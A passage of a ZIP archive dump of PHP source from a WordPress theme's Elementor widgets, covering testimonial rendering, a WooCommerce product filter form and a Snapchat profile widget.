												}
												if ( $rating_item ) {
													echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
												}
											}

											echo '</div>';
										}
									} else {
										if ( $_testi_desc ) {
											echo '<div class="penci-testi-blockquote"><div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div></div>';
										}

										if ( $_testi_rating ) {
											$rating_item = '';
											for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
												$rating_item .= penci_icon_by_ver( 'fas fa-star' );
											}

											if ( $rating_item ) {
												echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
											}
										}
									}

									$url_img_item = $this->get_marker_img_el( $_testi_image );
									if ( $url_img_item ) {
										$thumbnailsize = penci_get_image_size_url( $url_img_item, 'thumbnail' );
										echo '<div class="penci-testi-avatar">';
										echo '<img src="' . esc_url( $thumbnailsize ) . '" alt="' . esc_attr( $_testi_name ) . '"/>';
										echo '</div>';
									}
									if ( $_testi_name ) {
										echo '<h3 class="penci-testi-name">' . $_testi_name . '</h3>';
									}
									if ( $_testi_company ) {
										echo '<div class="penci-testi-company">' . $_testi_company . '</div>';
									}
								} elseif ( in_array( $style, array( 's4' ) ) ) {
									$url_img_item = $this->get_marker_img_el( $_testi_image );
									if ( $url_img_item ) {
										$thumbnailsize = penci_get_image_size_url( $url_img_item, 'thumbnail' );
										echo '<div class="pc-testiava"><div class="penci-testi-avatar">';
										echo '<img src="' . esc_url( $thumbnailsize ) . '" alt="' . esc_attr( $_testi_name ) . '"/>';
										echo '</div></div>';
									}

									if ( $_testi_rating || $_testi_desc || $_testi_name || $_testi_company ) {
										echo '<div class="pctesticont">';
										if ( $_testi_rating ) {
											$rating_item = '';
											for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
												$rating_item .= penci_icon_by_ver( 'fas fa-star' );
											}
											if ( $rating_item ) {
												echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
											}
										}

										if ( $_testi_desc ) {
											echo '<div class="penci-testi-blockquote"><div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div></div>';
										}

										if ( $_testi_name || $_testi_company ) {
											echo '<div class="penci-testi-company"><span class="testiname">' . $_testi_name . '</span><span class="testicom">' . $_testi_company . '</span></div>';
										}
										echo '</div>';
									}
								} else {

									if ( $_testi_desc ) {
										echo '<div class="penci-testi-blockquote"><div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div></div>';
									}
									$url_img_item = $this->get_marker_img_el( $_testi_image );

									if ( $url_img_item || $_testi_rating || $_testi_name || $_testi_company ) {
										echo '<div class="pctesti-head">';

										$url_img_item = $this->get_marker_img_el( $_testi_image );
										if ( $url_img_item ) {
											$thumbnailsize = penci_get_image_size_url( $url_img_item, 'thumbnail' );
											echo '<div class="pc-testiava"><div class="penci-testi-avatar">';
											echo '<img src="' . esc_url( $thumbnailsize ) . '" alt="' . esc_attr( $_testi_name ) . '"/>';
											echo '</div></div>';
										}

										if ( $_testi_rating || $_testi_name || $_testi_company ) {
											echo '<div class="pctesticont">';
											if ( $_testi_name ) {
												echo '<h3 class="penci-testi-name">' . $_testi_name . '</h3>';
											}
											if ( $_testi_company ) {
												echo '<div class="penci-testi-company">' . $_testi_company . '</div>';
											}

											if ( $_testi_rating ) {
												$rating_item = '';
												for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
													$rating_item .= penci_icon_by_ver( 'fas fa-star' );
												}
												if ( $rating_item ) {
													echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
												}
											}
											echo '</div>';
										}

										echo '</div>';

									}
								}
								?>
                            </div>
                        </div>

						<?php
						if ( 'crs' == $testitype ) {
							echo '</div>';
						}
					}

				}
				if ( 'crs' == $testitype ) {
					echo '</div>';
				}
				?>
            </div>
        </div>
		<?php
	}

	public function get_marker_img_el( $image, $thumbnail_size = 'thumbnail' ) {
		if ( empty( $image['url'] ) ) {
			return '';
		}
		if ( ! empty( $image['id'] ) ) {
			$attr = wp_get_attachment_image_src( $image['id'], $thumbnail_size );
			if ( isset( $attr['url'] ) && $attr['url'] ) {
				$image['url'] = $attr['url'];
			}
		}

		return $image['url'];
	}
}
PK     N\t'  '  5  inc/elementor/modules/penci-product-filter/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductFilter;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_filters';
	}

	public function get_widgets() {
		return array( 'PenciProductFilter' );
	}
}
PK     N\S  S  K  inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.phpnu [        <?php
/**
 * Product filters map.
 */

namespace PenciSoledadElementor\Modules\PenciProductFilter\Widgets;

use Elementor\Controls_Manager;
use Elementor\Repeater;
use Penci_Custom_Walker_Category;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductFilter extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_product_filters';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Product filters', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-filter';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'filter_type',
			[
				'label'   => esc_html__( 'Filter type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'categories' => esc_html__( 'Categories', 'soledad' ),
					'attributes' => esc_html__( 'Attributes', 'soledad' ),
					'stock'      => esc_html__( 'Stock status', 'soledad' ),
					'price'      => esc_html__( 'Price', 'soledad' ),
					'orderby'    => esc_html__( 'Order by', 'soledad' ),
				],
				'default' => 'categories',
			]
		);

		/**
		 * Categories settings.
		 */
		$repeater->add_control(
			'categories_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Categories',
				'condition' => [
					'filter_type' => 'categories',
				],
			]
		);

		$repeater->add_control(
			'order_by',
			[
				'label'     => esc_html__( 'Order by', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'name',
				'options'   => array(
					'name'  => esc_html__( 'Name', 'soledad' ),
					'id'    => esc_html__( 'ID', 'soledad' ),
					'slug'  => esc_html__( 'Slug', 'soledad' ),
					'count' => esc_html__( 'Count', 'soledad' ),
					'order' => esc_html__( 'Category order', 'soledad' ),
				),
				'condition' => [
					'filter_type' => 'categories',
				],
			]
		);

		$repeater->add_control(
			'hierarchical',
			[
				'label'        => esc_html__( 'Show hierarchy', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'categories',
				],
			]
		);

		$repeater->add_control(
			'hide_empty',
			[
				'label'        => esc_html__( 'Hide empty categories', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'categories',
				],
			]
		);

		$repeater->add_control(
			'show_categories_ancestors',
			[
				'label'        => esc_html__( 'Show current category ancestors', 'soledad' ),
				'description'  => esc_html__( 'If you visit category Man, for example, only man\'s subcategories will be shown in the page title like T-shirts, Coats, Shoes etc.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'categories',
				],
			]
		);

		/**
		 * Attributes settings.
		 */
		$repeater->add_control(
			'attributes_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Filter by',
				'condition' => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'attribute',
			[
				'label'     => esc_html__( 'Attribute', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => $this->get_attributes(),
				'default'   => '',
				'condition' => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'categories',
			[
				'label'       => esc_html__( 'Show in categories', 'soledad' ),
				'description' => esc_html__( 'Choose on which categories pages you want to display this filter. Or leave empty to show on all pages.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => [ 'product_cat' ],
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'query_type',
			[
				'label'     => esc_html__( 'Query type', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'and',
				'options'   => array(
					'or'  => esc_html__( 'OR', 'soledad' ),
					'and' => esc_html__( 'AND', 'soledad' ),
				),
				'condition' => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'size',
			[
				'label'     => esc_html__( 'Swatches size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'normal',
				'options'   => array(
					'small'  => esc_html__( 'Small (15px)', 'soledad' ),
					'normal' => esc_html__( 'Normal (25px)', 'soledad' ),
					'large'  => esc_html__( 'Large (35px)', 'soledad' ),
				),
				'condition' => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'labels',
			[
				'label'        => esc_html__( 'Show labels', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '1',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'attributes',
				],
			]
		);

		/**
		 * Stock settings.
		 */
		$repeater->add_control(
			'stock_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Stock status',
				'condition' => [
					'filter_type' => 'stock',
				],
			]
		);

		$repeater->add_control(
			'onsale',
			[
				'label'        => esc_html__( 'On Sale filter', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '1',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'stock',
				],
			]
		);

		$repeater->add_control(
			'instock',
			[
				'label'        => esc_html__( 'In Stock filter', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '1',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'stock',
				],
			]
		);

		/**
		 * Price settings.
		 */
		$repeater->add_control(
			'price_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Filter by price',
				'condition' => [
					'filter_type' => 'price',
				],
			]
		);

		/**
		 * Repeater settings.
		 */
		$this->add_control(
			'items',
			[
				'type'        => Controls_Manager::REPEATER,
				'title_field' => '{{{ filter_type }}}',
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'filter_type' => 'categories',
					],
					[
						'filter_type' => 'attributes',
					],
					[
						'filter_type' => 'stock',
					],
					[
						'filter_type' => 'price',
					],
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Title settings.
		 */

		$this->register_block_title_section_controls();

		/**
		 * Style tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_style_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'penci_color_scheme',
			[
				'label'   => esc_html__( 'Color Scheme', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					''      => esc_html__( 'Inherit', 'soledad' ),
					'light' => esc_html__( 'Light', 'soledad' ),
					'dark'  => esc_html__( 'Dark', 'soledad' ),
				],
				'default' => '',
			]
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	/**
	 * Get product attributes.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_attributes() {
		$output = [
			'' => esc_html__( 'Select', 'soledad' ),
		];

		$taxonomies = wc_get_attribute_taxonomies();

		if ( $taxonomies ) {
			foreach ( $taxonomies as $tax ) {
				$output[ $tax->attribute_name ] = $tax->attribute_name;
			}
		}

		return $output;
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		global $wp;

		$default_settings = [
			'penci_color_scheme' => 'dark',
			'items'              => array(),
		];

		$settings = wp_parse_args( $this->get_settings_for_display(), $default_settings );

		$form_action = wc_get_page_permalink( 'shop' );

		if ( is_shop() ) {
			if ( '' === get_option( 'permalink_structure' ) ) {
				$form_action = remove_query_arg( array(
					'page',
					'paged',
					'product-page'
				), add_query_arg( $wp->query_string, '', home_url( $wp->request ) ) );
			} else {
				$form_action = preg_replace( '%\/page/[0-9]+%', '', home_url( trailingslashit( $wp->request ) ) );
			}
		}

		$this->add_render_attribute(
			[
				'wrapper' => [
					'class'  => [
						'woocommerce',
						'penci-product-filters',
					],
					'action' => [
						$form_action,
					],
					'method' => [
						'GET',
					],
				],
			]
		);

		if ( penci_is_shop_archive() ) {
			$this->add_render_attribute( 'wrapper', 'class', 'with-ajax' );
		}

		?>
        <form <?php echo $this->get_render_attribute_string( 'wrapper' ); ?>>
			<?php foreach ( $settings['items'] as $index => $item ) : ?>
				<?php if ( 'categories' === $item['filter_type'] ) : ?>
					<?php $this->categories_filter_template( $item ); ?>
				<?php elseif ( 'attributes' === $item['filter_type'] ) : ?>
					<?php $this->attributes_filter_template( $item ); ?>
				<?php elseif ( 'stock' === $item['filter_type'] ) : ?>
					<?php $this->stock_filter_template( $item ); ?>
				<?php elseif ( 'price' === $item['filter_type'] ) : ?>
					<?php $this->price_filter_template( $item ); ?>
				<?php elseif ( 'orderby' === $item['filter_type'] ) : ?>
					<?php $this->orderby_filter_template(); ?>
				<?php endif; ?>
			<?php endforeach; ?>

            <div class="penci-pf-btn">
                <button class="button" type="submit">
					<?php esc_html_e( 'Filter', 'soledad' ); ?>
                </button>
            </div>
        </form>
		<?php
	}

	public function categories_filter_template( $settings ) {
		global $wp_query;

		$default_settings = [
			'categories_title'          => esc_html__( 'Categories', 'soledad' ),
			'hierarchical'              => 1,
			'order_by'                  => 'name',
			'hide_empty'                => '',
			'show_categories_ancestors' => '',
		];

		$settings = wp_parse_args( $settings, $default_settings );

		$list_args = [
			'hierarchical'       => $settings['hierarchical'],
			'taxonomy'           => 'product_cat',
			'hide_empty'         => $settings['hide_empty'],
			'title_li'           => false,
			'walker'             => new Penci_Custom_Walker_Category(),
			'use_desc_for_title' => false,
			'orderby'            => $settings['order_by'],
			'echo'               => false,
		];

		if ( 'order' === $settings['order_by'] ) {
			$list_args['orderby']  = 'meta_value_num';
			$list_args['meta_key'] = 'order';
		}

		$cat_ancestors = [];

		if ( is_tax( 'product_cat' ) ) {
			$current_cat   = $wp_query->queried_object;
			$cat_ancestors = get_ancestors( $current_cat->term_id, 'product_cat' );
		}

		if ( isset( $current_cat ) ) {
			$list_args['current_category'] = $current_cat->term_id;
		} else {
			$list_args['current_category'] = '';
		}
		$list_args['current_category_ancestors'] = $cat_ancestors;

		if ( $settings['show_categories_ancestors'] && isset( $current_cat ) ) {
			$is_cat_has_children = get_term_children( $current_cat->term_id, 'product_cat' );
			if ( $is_cat_has_children ) {
				$list_args['child_of'] = $current_cat->term_id;
			} elseif ( $current_cat->parent != 0 ) {
				$list_args['child_of'] = $current_cat->parent;
			}
			$list_args['depth'] = 1;
		}

		?>
        <div class="penci-pf-checkboxes penci-pf-categories">
            <div class="penci-pf-title">
				<span class="title-text">
					<?php echo esc_html( $settings['categories_title'] ); ?>
				</span>

                <ul class="penci-pf-results"></ul>
            </div>

            <div class="penci-pf-dropdown penci-scroll">
                <ul class="penci-scroll-content">
					<?php if ( $settings['show_categories_ancestors'] && isset( $current_cat ) && isset( $is_cat_has_children ) && $is_cat_has_children ) : ?>
                        <li style="display:none;"
                            class="pf-active cat-item cat-item-<?php echo $current_cat->term_id; ?>">
                            <a class="pf-value"
                               href="<?php echo esc_url( get_category_link( $current_cat->term_id ) ); ?>"
                               data-val="<?php echo esc_attr( $current_cat->slug ); ?>"
                               data-title="<?php echo esc_attr( $current_cat->name ); ?>">
								<?php echo esc_html( $current_cat->name ); ?>
                            </a>
                        </li>
					<?php endif; ?>

					<?php echo wp_list_categories( $list_args ); ?>
                </ul>
            </div>
        </div>
		<?php
	}

	public function attributes_filter_template( $settings ) {
		$default_settings = [
			'attributes_title' => esc_html__( 'Filter by', 'soledad' ),
			'attribute'        => '',
			'categories'       => '',
			'query_type'       => 'and',
			'size'             => 'normal',
			'labels'           => 1,
		];

		$settings = wp_parse_args( $settings, $default_settings );

		the_widget(
			'Penci_Product_Filter',
			array(
				'template'     => 'filter-element',
				'attribute'    => $settings['attribute'],
				'query_type'   => $settings['query_type'],
				'size'         => $settings['size'],
				'labels'       => $settings['labels'],
				'filter-title' => $settings['attributes_title'],
				'categories'   => $settings['categories'] ? $settings['categories'] : [],
			),
			array(
				'before_widget' => '',
				'after_widget'  => '',
			)
		);
	}

	public function stock_filter_template( $settings ) {
		$default_settings = [
			'stock_title' => esc_html__( 'Stock status', 'soledad' ),
			'instock'     => 1,
			'onsale'      => 1,
		];

		$settings = wp_parse_args( $settings, $default_settings );

		?>
        <div class="penci-pf-checkboxes penci-pf-stock multi_select">
            <input type="hidden" class="result-input" name="stock_status">

            <div class="penci-pf-title">
				<span class="title-text">
					<?php echo esc_html( $settings['stock_title'] ); ?>
				</span>

                <ul class="penci-pf-results"></ul>
            </div>

            <div class="penci-pf-dropdown penci-scroll">
                <ul class="penci-scroll-content">
					<?php if ( $settings['onsale'] ) : ?>
                        <li>
							<span class="pf-value" data-val="onsale"
                                  data-title="<?php esc_html_e( 'On sale', 'soledad' ); ?>">
								<?php esc_html_e( 'On sale', 'soledad' ); ?>
							</span>
                        </li>
					<?php endif; ?>

					<?php if ( $settings['instock'] ) : ?>
                        <li>
							<span class="pf-value" data-val="instock"
                                  data-title="<?php esc_html_e( 'In stock', 'soledad' ); ?>">
								<?php esc_html_e( 'In stock', 'soledad' ); ?>
							</span>
                        </li>
					<?php endif; ?>
                </ul>
            </div>
        </div>
		<?php
	}

	public function price_filter_template( $settings ) {
		$default_settings = [
			'price_title' => esc_html__( 'Filter by price', 'soledad' ),
		];

		$settings = wp_parse_args( $settings, $default_settings );

		wp_localize_script(
			'penci-woocommerce',
			'woocommerce_price_slider_params',
			[
				'currency_format_num_decimals' => 0,
				'currency_format_symbol'       => get_woocommerce_currency_symbol(),
				'currency_format_decimal_sep'  => esc_attr( wc_get_price_decimal_separator() ),
				'currency_format_thousand_sep' => esc_attr( wc_get_price_thousand_separator() ),
				'currency_format'              => esc_attr( str_replace( [ '%1$s', '%2$s' ], [
					'%s',
					'%v'
				], get_woocommerce_price_format() ) ),
			]
		);
		wp_enqueue_script( 'jquery-ui-slider' );
		wp_enqueue_script( 'wc-jquery-ui-touchpunch' );
		wp_enqueue_script( 'accounting' );
		wp_enqueue_script( 'wc-price-slider' );

		$prices = penci_get_filtered_price_new();

		$min = apply_filters( 'woocommerce_price_filter_widget_min_amount', floor( $prices->min_price ) );
		$max = apply_filters( 'woocommerce_price_filter_widget_max_amount', ceil( $prices->max_price ) );

		if ( $min === $max ) {
			return;
		}

		if ( ( is_shop() || is_product_taxonomy() ) && ! wc()->query->get_main_query()->post_count ) {
			return;
		}

		$min_price = isset( $_GET['min_price'] ) ? wc_clean( wp_unslash( $_GET['min_price'] ) ) : $min;
		$max_price = isset( $_GET['max_price'] ) ? wc_clean( wp_unslash( $_GET['max_price'] ) ) : $max;

		?>
        <div class="penci-pf-checkboxes penci-pf-price-range multi_select widget_price_filter">
            <div class="penci-pf-title">
				<span class="title-text">
					<?php echo esc_html( $settings['price_title'] ); ?>
				</span>

                <ul class="penci-pf-results"></ul>
            </div>

            <div class="penci-pf-dropdown">
                <div class="price_slider_wrapper">
                    <div class="price_slider_widget" style="display:none;"></div>

                    <div class="filter_price_slider_amount">
                        <input type="hidden" class="min_price" name="min_price"
                               value="<?php echo esc_attr( $min_price ); ?>" data-min="<?php echo esc_attr( $min ); ?>">
                        <input type="hidden" class="max_price" name="max_price"
                               value="<?php echo esc_attr( $max_price ); ?>" data-max="<?php echo esc_attr( $max ); ?>">

                        <div class="price_label" style="display:none;">
                            <span class="from"></span>
                            <span class="to"></span>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php
	}

	public function orderby_filter_template() {
		$options = array(
			'menu_order' => esc_html__( 'Default sorting', 'woocommerce' ),
			'popularity' => esc_html__( 'Sort by popularity', 'woocommerce' ),
			'rating'     => esc_html__( 'Sort by average rating', 'woocommerce' ),
			'date'       => esc_html__( 'Sort by latest', 'woocommerce' ),
			'price'      => esc_html__( 'Sort by price: low to high', 'woocommerce' ),
			'price-desc' => esc_html__( 'Sort by price: high to low', 'woocommerce' ),
		);

		?>
        <div class="penci-pf-checkboxes penci-pf-sortby">
            <input type="hidden" class="result-input" name="orderby">

            <div class="penci-pf-title">
				<span class="title-text">
					<?php echo esc_html__( 'Sort by', 'soledad' ); ?>
				</span>

                <ul class="penci-pf-results"></ul>
            </div>

            <div class="penci-pf-dropdown penci-scroll">
                <ul class="penci-scroll-content">
					<?php foreach ( $options as $key => $value ) : ?>
                        <li>
							<span class="pf-value" data-val="<?php echo esc_attr( $key ); ?>"
                                  data-title="<?php echo esc_attr( $value ); ?>">
								<?php echo esc_html( $value ); ?>
							</span>
                        </li>
					<?php endforeach; ?>
                </ul>
            </div>
        </div>
		<?php
	}
}
PK     N\]  ]  /  inc/elementor/modules/penci-snapchat/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSnapchat;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-snapchat';
	}

	public function get_widgets() {
		return array( 'PenciSnapchat' );
	}
}
PK     N\Vv    ?  inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSnapchat\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Base\Base_Color;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Image_Size;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSnapchat extends Base_Widget {

	public function get_name() {
		return 'penci-snapchat';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Snapchat', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-icon-box';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_settings', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'username', array(
			'label' => __( 'Account Name:', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );

		$this->add_control( 'userid', array(
			'label' => __( 'Account ID:', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );

		$this->add_control( 'avatar', array(
			'label' => __( 'Avatar', 'soledad' ),
			'type'  => Controls_Manager::MEDIA,
		) );

		$this->add_responsive_control( 'avatar_size', array(
			'label'      => __( 'Avatar Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100 ),
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'size_units' => array( '%', 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci_snapchat_widget .pc-snapchat-avatar' => 'width: {{SIZE}}{{UNIT}};height: {{SIZE}}{{UNIT}};'
			)
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'rounded',
			'options' => [
				'rounded' => 'Rounded',
				'circle'  => 'Circle',
			]
		) );

		$this->add_control( 'bgstyle', array(
			'label'   => __( 'Background Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'flat',
			'options' => [
				'flat' => 'Flat',
				'dots' => 'Dots',
			]
		) );

		$this->add_responsive_control( 'badge_size', array(
			'label'      => __( 'Custom Badge Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100 ),
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'size_units' => array( '%', 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci_snapchat_widget .pc-snapchat-badge' => 'width: {{SIZE}}{{UNIT}};height: {{SIZE}}{{UNIT}};'
			)
		) );

		$this->add_control( 'text_align', array(
			'label'                => __( 'Alignment', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'elementor' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'elementor' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'elementor' ),
					'icon'  => 'eicon-text-align-right',
				)
			),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_image', array(
			'label' => __( 'Color & Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );


		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'author_name_typo',
			'label'    => __( 'Account Name Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-snapchat-wrapper .pc-snapchat-name',
		) );

		$this->add_control( 'name_color', array(
			'label'     => __( 'Account Name Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-snapchat-wrapper .pc-snapchat-name' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'author_id_typo',
			'label'    => __( 'Account ID Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-snapchat-wrapper .pc-snapchat-id',
		) );

		$this->add_control( 'id_color', array(
			'label'     => __( 'Account ID Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pc-snapchat-wrapper .pc-snapchat-id' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'badge_bcolor', array(
			'label'     => __( 'Badge Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .penci_snapchat_widget .pc-snapchat-badge' => 'border-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$instance   = $this->get_settings();
		$ptext_align = isset( $instance['text_align'] ) ? $instance['text_align'] : 'center';
		if ( ! empty( $instance['username'] ) && ! empty( $instance['userid'] ) && ! empty( $instance['avatar'] ) ) {
			$img_class = ! empty( $instance['style'] ) ? 'is-' . $instance['style'] : 'is-rounded';
			$imgstyle  = ! empty( $instance['bgstyle'] ) ? $instance['bgstyle'] : 'flat';
			$userid    = str_replace( '@', '', $instance['userid'] );

			$bghtmlbg_src = 'data-bgset="' . PENCI_SOLEDAD_URL . '/images/snapchat_' . $imgstyle . '.png"';
			$bghtml_src   = 'data-bgset="' . $instance['avatar']['url'] . '"';
			$this->markup_block_title( $instance, $this );
			?>
            <div class="penci_snapchat_widget <?php echo 'pcsnapal-' . $ptext_align; ?>">
                <div class="pc-snapchat-wrapper">
                    <a href="https://snapchat.com/add/<?php echo $userid ?>" rel="external noopener nofollow">
						<span class="pc-snapchat-badge <?php echo $img_class; ?>">
                            <span class="pc-snapchat-badge-over penci-image-holder penci-lazy" <?php echo $bghtmlbg_src; ?>></span>
                            <span class="pc-snapchat-avatar penci-image-holder penci-lazy" <?php echo $bghtml_src; ?>></span>
						</span>
                        <span class="pc-snapchat-name"><?php echo $instance['username'] ?></span>
                        <span class="pc-snapchat-id">@<?php echo $userid ?></span>
                    </a>
                </div>
            </div>
			<?php
		} else {
			echo __( 'Enter the required account info.', 'soledad' );
		}

	}
}
PK     N\z"  "  4  inc/elementor/modules/penci-pricing-table/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPricingTable;

